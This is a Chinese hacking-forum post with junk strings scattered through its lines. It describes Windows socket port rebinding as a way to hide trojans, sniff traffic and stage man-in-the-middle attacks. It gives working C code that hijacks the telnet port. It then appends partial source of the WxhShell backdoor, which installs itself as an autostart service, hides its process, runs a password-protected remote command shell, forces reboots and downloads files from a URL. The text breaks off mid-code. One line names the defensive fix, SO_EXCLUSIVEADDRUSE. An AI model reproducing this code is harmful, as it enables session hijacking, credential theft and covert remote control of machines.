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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V,lz}&3L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hv8V=Z'Q  
3PPN_Z  
  saddr.sin_family = AF_INET; 4R.rSsAH  
.]P@{T||Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (oxe'\  
>/GVlXA'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |s=)*DZv  
u0\?aeg`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RP!X 5  
<$/'iRtRzW  
  这意味着什么?意味着可以进行如下的攻击: :Fu.S1j$  
|h4aJv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]|'Mf;  
&E0P`F,GQA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m&cVda/  
=UT*1-yh R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n](Q)h'nlo  
?u/RQ 1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }HRM6fR1S  
 1ti+ Q0~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G?v]p~6  
B^Fe.ty  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y?ouB  
ET.c8K1f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V]&0"HX2r!  
}\?UmuolQ  
  #include o)GLh^g_I'  
  #include ^Q0%_V,  
  #include Xz4T_-X8d  
  #include    q &]I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !#xk?LyB  
  int main() m:_'r"o  
  { sba+J:#w  
  WORD wVersionRequested; 8&t3a+8l  
  DWORD ret; .EpcMXT%  
  WSADATA wsaData; VB=$D|Ll  
  BOOL val; ^--kcTiR%  
  SOCKADDR_IN saddr; RE 6d&#N  
  SOCKADDR_IN scaddr; :|%k*z  
  int err;  <m7m  
  SOCKET s; |soDt <y+L  
  SOCKET sc; u]RI,3Z  
  int caddsize; uI lm!*0  
  HANDLE mt; yUd>EnQna  
  DWORD tid;   )jc`_{PQg  
  wVersionRequested = MAKEWORD( 2, 2 ); *ETSx{)8  
  err = WSAStartup( wVersionRequested, &wsaData ); p^J=*jm)x  
  if ( err != 0 ) { :k&R]bc9  
  printf("error!WSAStartup failed!\n"); x)GpNkx:  
  return -1; J;8M. _  
  } x6N)T4J(  
  saddr.sin_family = AF_INET; *,az`U  
   xs?Ska,N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !:BmDX[<n  
;[) O{%s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d0U-:S-  
  saddr.sin_port = htons(23); |tn.ZEgw3~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K)DpC*j  
  { :}0>IPW-V  
  printf("error!socket failed!\n"); m-u3^\'  
  return -1; 1|bg;X9+  
  } b';oFUU>Q  
  val = TRUE; >8;EeRvI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P z< \q;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L*(Sh2=_  
  { CqFk(Td9-D  
  printf("error!setsockopt failed!\n");  4>R)2g  
  return -1; -}x( MZ  
  } 1Y+g^Z;G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xwSi.~.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cZR9rnZT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +Z7:(o<  
,azBk`$iQr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (ay((|)  
  { X:2)C-l?  
  ret=GetLastError(); M4}b l h#  
  printf("error!bind failed!\n"); BG/Q7s-?K  
  return -1; y?P4EVknM3  
  } WzhY4"p  
  listen(s,2); [6cF#_)*  
  while(1) qbx}9pp}g  
  { ;Z6ngS  
  caddsize = sizeof(scaddr); Fa+#bX7  
  //接受连接请求 6^vz+oN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e| Sw+fhy<  
  if(sc!=INVALID_SOCKET) 3]rd!Gp=*  
  {  ]j:aO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @:w[(K[^b/  
  if(mt==NULL) $N/"c$50,  
  { ~0V,B1a  
  printf("Thread Creat Failed!\n"); (|dN6M-.K  
  break; 'U*Kb  
  } AQgagE^  
  } hQ_g OI  
  CloseHandle(mt); "w&G1kw5I  
  } kWZ/O  
  closesocket(s); w,VUWja  
  WSACleanup(); WUK{st.z  
  return 0; krecUpo  
  }   /SKgN{tWe  
  DWORD WINAPI ClientThread(LPVOID lpParam) |PutTcjQ  
  { 3-4CGSX;X  
  SOCKET ss = (SOCKET)lpParam; 4l~B/"}  
  SOCKET sc; }%Vx2Q  
  unsigned char buf[4096]; ?TMrnR/d  
  SOCKADDR_IN saddr; z;1qYW[-A  
  long num; &BE'~G  
  DWORD val; C@OY)!x!  
  DWORD ret; bR}=bp4K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )uazB!X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !cA4erBP  
  saddr.sin_family = AF_INET; dPb@[k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rd:wMy$  
  saddr.sin_port = htons(23); rssn'h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }gtkO&  
  { M D,+>kh  
  printf("error!socket failed!\n"); V[fcP;   
  return -1; "!z9UiA  
  } eG08Xt |lc  
  val = 100; &k@r23V7r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +&qj`hA-b  
  { U( (F<  
  ret = GetLastError(); *Ry{}|_8  
  return -1; C,G$C7$%  
  } Kn4x _9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 69JC!du  
  { sHf.xc  
  ret = GetLastError(); yQdoy^d/4  
  return -1; gF8n{b  
  } Y4,LXuQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qIg^R@  
  { u ioBI d  
  printf("error!socket connect failed!\n"); HWxwG'EEY,  
  closesocket(sc); N3?@CM^hHw  
  closesocket(ss); f) @-X!  
  return -1; Jwe9L^gL  
  } jLCZ JSK  
  while(1) {n-6e[  
  { \iM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jb lj]/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9,>u,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1jkMje  
  num = recv(ss,buf,4096,0); n Wb0S  
  if(num>0) Ln@n6*%(/  
  send(sc,buf,num,0); ]}HuK#  
  else if(num==0) RqE|h6/  
  break; 4pC.mRu 0  
  num = recv(sc,buf,4096,0); ~|.vz!A  
  if(num>0) 7^*[ XH  
  send(ss,buf,num,0); jw$[b=sa  
  else if(num==0) fFNwmH-jv  
  break; -$+`v<[r  
  } %VmHw~xyF:  
  closesocket(ss); 2m0laJ3p9  
  closesocket(sc); `2.2; Vk  
  return 0 ; N_eZz#);  
  } K6nGC  
8oVQ:' 6  
TaTs-]4  
========================================================== 5*IfI+}  
flzHZH  
下边附上一个代码,,WXhSHELL l4smAT  
A0`#n|(Ad!  
========================================================== LJ+Qe%|  
& U6bOH%P  
#include "stdafx.h" i_kKE+Q  
zf}X%tp  
#include <stdio.h> V detY\  
#include <string.h> C)8>_PY[M  
#include <windows.h> U f <hzP  
#include <winsock2.h> eV)'@ 8p  
#include <winsvc.h> dzn[4  
#include <urlmon.h> *eb2()B%  
@$ggPrs  
#pragma comment (lib, "Ws2_32.lib") U-0A}@N  
#pragma comment (lib, "urlmon.lib") (M,IgSn9  
8fX<,*#I  
#define MAX_USER   100 // 最大客户端连接数 M9scZuj  
#define BUF_SOCK   200 // sock buffer Gn7P` t*.  
#define KEY_BUFF   255 // 输入 buffer % XS2 ;V  
vk] vtjf&%  
#define REBOOT     0   // 重启 \n`)>-  
#define SHUTDOWN   1   // 关机 @x @*=  
TEYn^/n~  
#define DEF_PORT   5000 // 监听端口 4<{]_S6"0y  
1YxG<K]  
#define REG_LEN     16   // 注册表键长度 ;%_s4  
#define SVC_LEN     80   // NT服务名长度 #y:,owo3I  
d?Y|w3lB  
// 从dll定义API h.ln%6:d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,2C{X+t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~vMdIZ.h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J jp)%c#_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !CO1I-yL  
GL<u#[  
// wxhshell配置信息 |1[3RnG S  
struct WSCFG { /suW{8A(E  
  int ws_port;         // 监听端口 +91j 1?  
  char ws_passstr[REG_LEN]; // 口令 Tb@r@j:V  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gi=s|vt  
  char ws_regname[REG_LEN]; // 注册表键名 @V>BG8Y  
  char ws_svcname[REG_LEN]; // 服务名 o&Vti"fpC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KqI<#hUl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4,)EG1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "ytPS~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `{GI^kgJ9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a?dUJt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $2gX!)  
6J""gyK.  
}; <jwQ&fm)/R  
Jdc{H/10  
// default Wxhshell configuration 4[VW~x07  
struct WSCFG wscfg={DEF_PORT, <Mq vGXI  
    "xuhuanlingzhe", N3rq8Rk  
    1, ??u*qO:p  
    "Wxhshell", G3wkqd  
    "Wxhshell", vv FH (W  
            "WxhShell Service", K}j["p<!  
    "Wrsky Windows CmdShell Service", j2GTo~muq  
    "Please Input Your Password: ", fb*h.6^y9  
  1, ]o<&Q52|  
  "http://www.wrsky.com/wxhshell.exe", hzcSKRm  
  "Wxhshell.exe" +~[>Usf  
    }; u"s@eN  
d"0=.sA  
// 消息定义模块 V=cJdF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .X](B~\!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]H$Trf:L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RoLN#  
char *msg_ws_ext="\n\rExit."; WM8])}<L  
char *msg_ws_end="\n\rQuit."; UrRYK-g  
char *msg_ws_boot="\n\rReboot..."; epm ~  
char *msg_ws_poff="\n\rShutdown..."; ;Zt N9l  
char *msg_ws_down="\n\rSave to "; /Y#Q<=X  
dzRnI*  
char *msg_ws_err="\n\rErr!"; r"&uW !~0  
char *msg_ws_ok="\n\rOK!"; N eC]MW  
9~5LKg7Ac  
char ExeFile[MAX_PATH]; o5;|14O  
int nUser = 0; i[4t`v'Dk  
HANDLE handles[MAX_USER]; ym;I(TC+  
int OsIsNt; ' TO/i:{\  
L}UrI&]V$:  
SERVICE_STATUS       serviceStatus; ZU68\cL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U9Gg#M4tY  
044Q>Qz,  
// 函数声明 @ QfbIP9  
int Install(void); G{u(pC^  
int Uninstall(void); a^eR~efdu@  
int DownloadFile(char *sURL, SOCKET wsh); 6ee1^>  
int Boot(int flag); J;S Z"I'  
void HideProc(void); 5h [<!f=  
int GetOsVer(void); qoAJcr2uN  
int Wxhshell(SOCKET wsl); d04fj/B  
void TalkWithClient(void *cs); 08_<G`r  
int CmdShell(SOCKET sock); 5 D[`nU}  
int StartFromService(void); sB=s .`9  
int StartWxhshell(LPSTR lpCmdLine); ,?c=v`e  
lGXr-K?+Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9/PX~j9O?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'NN3XyD  
4hWFgk  
// 数据结构和表定义 *t bgIW+h  
SERVICE_TABLE_ENTRY DispatchTable[] = 0~Iq9}{*P  
{ +HF*X~},i  
{wscfg.ws_svcname, NTServiceMain}, Mi<}q@]e  
{NULL, NULL} `{&l _  
}; V>"N VRY  
`^: v+!  
// 自我安装 yHs'E4V`$  
int Install(void) :1gcLsF  
{ DcsQ6  
  char svExeFile[MAX_PATH]; <ahcE1h  
  HKEY key; ]ZS/9 $  
  strcpy(svExeFile,ExeFile); oR}'I  
N6h.zl&04  
// 如果是win9x系统,修改注册表设为自启动 =`t%p1   
if(!OsIsNt) { W:1GY#Pe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lTZcbaO?]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rp!>rM] s  
  RegCloseKey(key); v;:. k,E0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $*;ke5Dm4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g.x]x #BC  
  RegCloseKey(key); 24I~{Qy  
  return 0; fYzZW  
    } 7Yly^  
  } ca"20NQ)  
} Ew2ksZ>B]&  
else { u<nPJeE  
D1~3 3;  
// 如果是NT以上系统,安装为系统服务 6@J)k V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4fau 9bW  
if (schSCManager!=0) 9 [wR/8Xm  
{ Am)XbN')1  
  SC_HANDLE schService = CreateService f/]g@/`  
  ( "kkZK=}Nv  
  schSCManager, k1_ 3\JO"6  
  wscfg.ws_svcname, r&D&xsbQ  
  wscfg.ws_svcdisp, S@vLh=65  
  SERVICE_ALL_ACCESS, =xPBolxm5U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'fIirGOl  
  SERVICE_AUTO_START, >@St Kj  
  SERVICE_ERROR_NORMAL, n##d!d|g  
  svExeFile, ;T?4=15c  
  NULL, ~ H $q  
  NULL, nnBl:p>< k  
  NULL, 2Ls  
  NULL, N TL`9b  
  NULL 5mF"nY&lI  
  ); &#qy:  
  if (schService!=0) x)!NB99(tC  
  { O)9{qU:[b  
  CloseServiceHandle(schService); y1+~IjY  
  CloseServiceHandle(schSCManager); l} UOg   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pdw[#X<[`  
  strcat(svExeFile,wscfg.ws_svcname); b+ J)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +)l6%QKcW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :{KoZd  
  RegCloseKey(key); #F!'B|n  
  return 0; J,]U"+;H  
    } :s`\jJ  
  } :Vx5%4J  
  CloseServiceHandle(schSCManager); K\`>'C2_V  
} H}B%OFI\+  
} -VlXZj@u+  
#jNN?,ZK  
return 1; [p# }=&d  
} Ff @Cs0R  
9Lv"|S`5W_  
// 自我卸载 +$H`/^a.  
int Uninstall(void) Zqnwf  
{ &p#$}tm  
  HKEY key; vZl]C%  
\,5OPSB  
if(!OsIsNt) { c})f&Z@<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CDTM<0`%  
  RegDeleteValue(key,wscfg.ws_regname); BNe6q[ )W~  
  RegCloseKey(key); ?#0|A?U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :gJ?3LwTf  
  RegDeleteValue(key,wscfg.ws_regname); 8Mf{6&F=  
  RegCloseKey(key); .#[==  
  return 0; R:t>P Fwo  
  } Vy7o}z`  
} lboi\GP|  
} -%eBip,'yl  
else { 7; e$ sr  
a{FCg%vD)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 08TeGUjJ  
if (schSCManager!=0) %}=:gF  
{ GnzKDDH '  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l@OY8z-_  
  if (schService!=0) n$O[yRMI[  
  { (7Q Fy  
  if(DeleteService(schService)!=0) { 3pF7} P  
  CloseServiceHandle(schService); ~l@ h  
  CloseServiceHandle(schSCManager); L d;))e  
  return 0; d^sm;f  
  } uVn"'p-  
  CloseServiceHandle(schService); 6*\WH%  
  } j aEUz5  
  CloseServiceHandle(schSCManager); B3V;  
} (6Tvu5*4U  
} 9_  
t.`&Q|a  
return 1; V|n}v?f_q  
} \_w>I_=F  
1\aJ[t  
// 从指定url下载文件 V6ICR{y<3  
int DownloadFile(char *sURL, SOCKET wsh) W#.+C6/  
{ 4ru-qF  
  HRESULT hr; ;n~-z5)  
char seps[]= "/"; f"}g5eg+  
char *token; w 4fz!l]  
char *file; !Enq2  
char myURL[MAX_PATH]; nde_%d$  
char myFILE[MAX_PATH]; O8Dav^\y?  
#{DX*;1m  
strcpy(myURL,sURL); -$2a@K,i  
  token=strtok(myURL,seps); ~Bi>T15e  
  while(token!=NULL) \QvoL  
  { 00-cT9C3  
    file=token; NtfzAz/  
  token=strtok(NULL,seps); ~EL3I  
  } . \t8s0A  
y2{uEbA  
GetCurrentDirectory(MAX_PATH,myFILE); @?vC4+'  
strcat(myFILE, "\\"); 3HEm-pok  
strcat(myFILE, file); Pb`Uxv  
  send(wsh,myFILE,strlen(myFILE),0); ~9[O'  
send(wsh,"...",3,0); wr-/R"fX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SYE+A`a  
  if(hr==S_OK) xk*&zAt  
return 0; YLsOA`5X  
else j"F?^0aR,Q  
return 1; H-&T)  
.<Rw16O  
} 1 ]A$  
B%^W$7 q  
// 系统电源模块 .sCj3sX*  
int Boot(int flag) teKx^ 'c'  
{ U #C@&2  
  HANDLE hToken; xWnOOE$i  
  TOKEN_PRIVILEGES tkp; &.l^>#  
jP{&U&!i  
  if(OsIsNt) { )! eJW(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lHUd<kEC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7 'q *(v  
    tkp.PrivilegeCount = 1; /rIyW?& f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s(Bcw`'#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hp1+9vEN  
if(flag==REBOOT) { Vak\N)=u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oo\7\b#Jx  
  return 0; ^B)f!HtU  
} M u i\E  
else { Fq$r>tmV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w^"IR  
  return 0; F[v:&fle  
} @y'0_Y0-B  
  } jF}-dfe  
  else { r~z'QG6v/  
if(flag==REBOOT) { rQxiG[0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \%|Xf[AX  
  return 0; eaC%& k  
} B<Q)z5KK  
else { +CM>]Ze  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >UQY3C  
  return 0; o "6 2~  
} _U_O0@xi  
} en'"" w  
g#MLA5%=u  
return 1; )q66^% ;S  
} %.m+6 zaF  
Cyos *  
// win9x进程隐藏模块 <iA\ZS:  
void HideProc(void) r'`7}@H*  
{ &+n9T?+b  
9Ta0Li  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $AT@r"  
  if ( hKernel != NULL ) f S[-K?K  
  { *a\6X( ~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wqkzj^;"G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !> =ybRe  
    FreeLibrary(hKernel); kU+|QBA@  
  } lLp,sNAj  
,3!$mQL=  
return; n1JtY75#,/  
} vQ L$.A3>  
6\ yBA_ z  
// 获取操作系统版本 +J|H~`  
int GetOsVer(void) 0$]iRE;O]  
{ W|D kq  
  OSVERSIONINFO winfo; |mP};&b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g@37t @I  
  GetVersionEx(&winfo); f"KrPx!^b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8Z0x*Ssk  
  return 1; xZP*%yM  
  else &iInru3  
  return 0; K8aqC{  
} ni&|;"Nt-  
o]~\u{o#.  
// 客户端句柄模块 D3 yTN"  
int Wxhshell(SOCKET wsl) JwB'B  
{ p_h/hTi  
  SOCKET wsh; {$,\Qg  
  struct sockaddr_in client; J\r\_P@;c  
  DWORD myID; eD?&D_l~6  
Rh ^(91d  
  while(nUser<MAX_USER) HJ]xZ83pC  
{ FDQ=$w}' >  
  int nSize=sizeof(client); vY-CXWC7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 755,=U8'wi  
  if(wsh==INVALID_SOCKET) return 1; _"ciHYHBQ  
HbegdbTJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z^ :_,aJ?  
if(handles[nUser]==0) ]*#i_dho7  
  closesocket(wsh); 4LKpEl.=  
else >[AmIYg  
  nUser++; 4AS%^&ah  
  } 3uocAmY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rXi&8R[  
3'Y-~^ml|  
  return 0; &t^*0/~  
} 0&UG=q  
}6@E3z]AMO  
// 关闭 socket 8f9wUPr  
void CloseIt(SOCKET wsh) LUbj^iQ9  
{ =/Gd<qz3  
closesocket(wsh); ]>1Mq,!  
nUser--; Jy)=TJ!y  
ExitThread(0); HG;;M6  
} kk /#&b2  
t1Fqq4wRi  
// 客户端请求句柄 v>]g="5}8  
void TalkWithClient(void *cs) m$p}cok#+S  
{ <= o<lRU  
?6CLUu|7n  
  SOCKET wsh=(SOCKET)cs; t`Kpbfk  
  char pwd[SVC_LEN]; ga;nM#/  
  char cmd[KEY_BUFF]; 9;+&}:IVS  
char chr[1]; Rn~'S2`u  
int i,j; ^2~ZOP$A  
1 pVw,}  
  while (nUser < MAX_USER) { 4Y8=  
,`bW (V  
if(wscfg.ws_passstr) { |M;Nq@bRv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p< 7rF_?W0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /x??J4r0  
  //ZeroMemory(pwd,KEY_BUFF); N;3!oo4  
      i=0; gy}3ZA*F  
  while(i<SVC_LEN) { g>VtPS5 y  
m^QoB  
  // 设置超时 JKZVd`fF  
  fd_set FdRead; L<!h3n  
  struct timeval TimeOut; I6^y` 2X  
  FD_ZERO(&FdRead); l ms^|?  
  FD_SET(wsh,&FdRead); nX (bVT4i  
  TimeOut.tv_sec=8; @&m [w'tn  
  TimeOut.tv_usec=0; ArtY;.cg%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GJB+] b-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dHY@V> D'-  
-dM~3'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { 4j<X5V  
  pwd=chr[0]; SD^::bH  
  if(chr[0]==0xd || chr[0]==0xa) { i3)3. WK^  
  pwd=0; >)WE3PT/O"  
  break; jA,y.(mR  
  } NOTG|\{  
  i++; 'l/l]26rO4  
    } dEDhdF#f  
%`bs<ZWT  
  // 如果是非法用户,关闭 socket %g7j7$c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I%4eX0QY=z  
} TIp\-  
I;XM4a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RhJ3>DL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @g[ijs\  
pss')YP.  
while(1) { 1Lf -  
Jj ]<SWh  
  ZeroMemory(cmd,KEY_BUFF); iK4\N;H  
|}77'w :  
      // 自动支持客户端 telnet标准   QHv]7&^rlj  
  j=0; PlCw,=K8f  
  while(j<KEY_BUFF) { NkUY_rKPb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w8+ phN(-M  
  cmd[j]=chr[0]; <RxxGD  
  if(chr[0]==0xa || chr[0]==0xd) { S>5w=RK   
  cmd[j]=0; `V/kM0A5  
  break; F~v0CBcAL  
  } {v!w2p@  
  j++; MZ)lNU l  
    } fbI5!i#lz  
&(< Gr0  
  // 下载文件 G$)q% b;Lz  
  if(strstr(cmd,"http://")) { h/5V~ :)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k7JC~D E#  
  if(DownloadFile(cmd,wsh)) O4nA ?bA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0]ai*\,W7~  
  else o JVdFE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s|WcJV  
  } wI7.M Gt  
  else { hXH+C-%{  
`m V(:  
    switch(cmd[0]) { UJS vtD{g  
  ybf,pDY#f  
  // 帮助 2x gk$E$7  
  case '?': { 2n"-~'3\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <&+0  
    break; 0 Swu]OE  
  } "SuG6!k3  
  // 安装 ,*[N_[  
  case 'i': { ~- aUw}U  
    if(Install()) t.!?"kP"c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3W[||V[r]<  
    else s4Jy96<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x[&)\[t  
    break; -f'&JwE0=  
    } ;5|d[r}k3  
  // 卸载 h1Y^+A_  
  case 'r': { aYtW!+#  
    if(Uninstall()) >TGc0 z+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-?zH:]GG{  
    else y`z?lmV)xM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PTQN.[bBh  
    break; Vo%ikR #  
    } Nbf >Y  
  // 显示 wxhshell 所在路径 Q*f0YjH!  
  case 'p': { c ? Zi/7  
    char svExeFile[MAX_PATH]; sVlQ5M oo(  
    strcpy(svExeFile,"\n\r"); u3cl7~- yW  
      strcat(svExeFile,ExeFile); qus%?B{b}  
        send(wsh,svExeFile,strlen(svExeFile),0); '^Q$:P{G?  
    break; 7 /" Z/^  
    } =FAIbM>u  
  // 重启 (76tYt~I=  
  case 'b': { OJFWmZ(X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zq$0 ?vGd  
    if(Boot(REBOOT)) '~{kR=+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\@&poJ(,  
    else { LCSJIt  
    closesocket(wsh); M3fTU CR  
    ExitThread(0); q:wz!~(>  
    } Nc^:v/(P  
    break; ziQ&M\  
    } b. :2x4  
  // 关机 gP!k[E ,Q8  
  case 'd': { b6""q9S!  
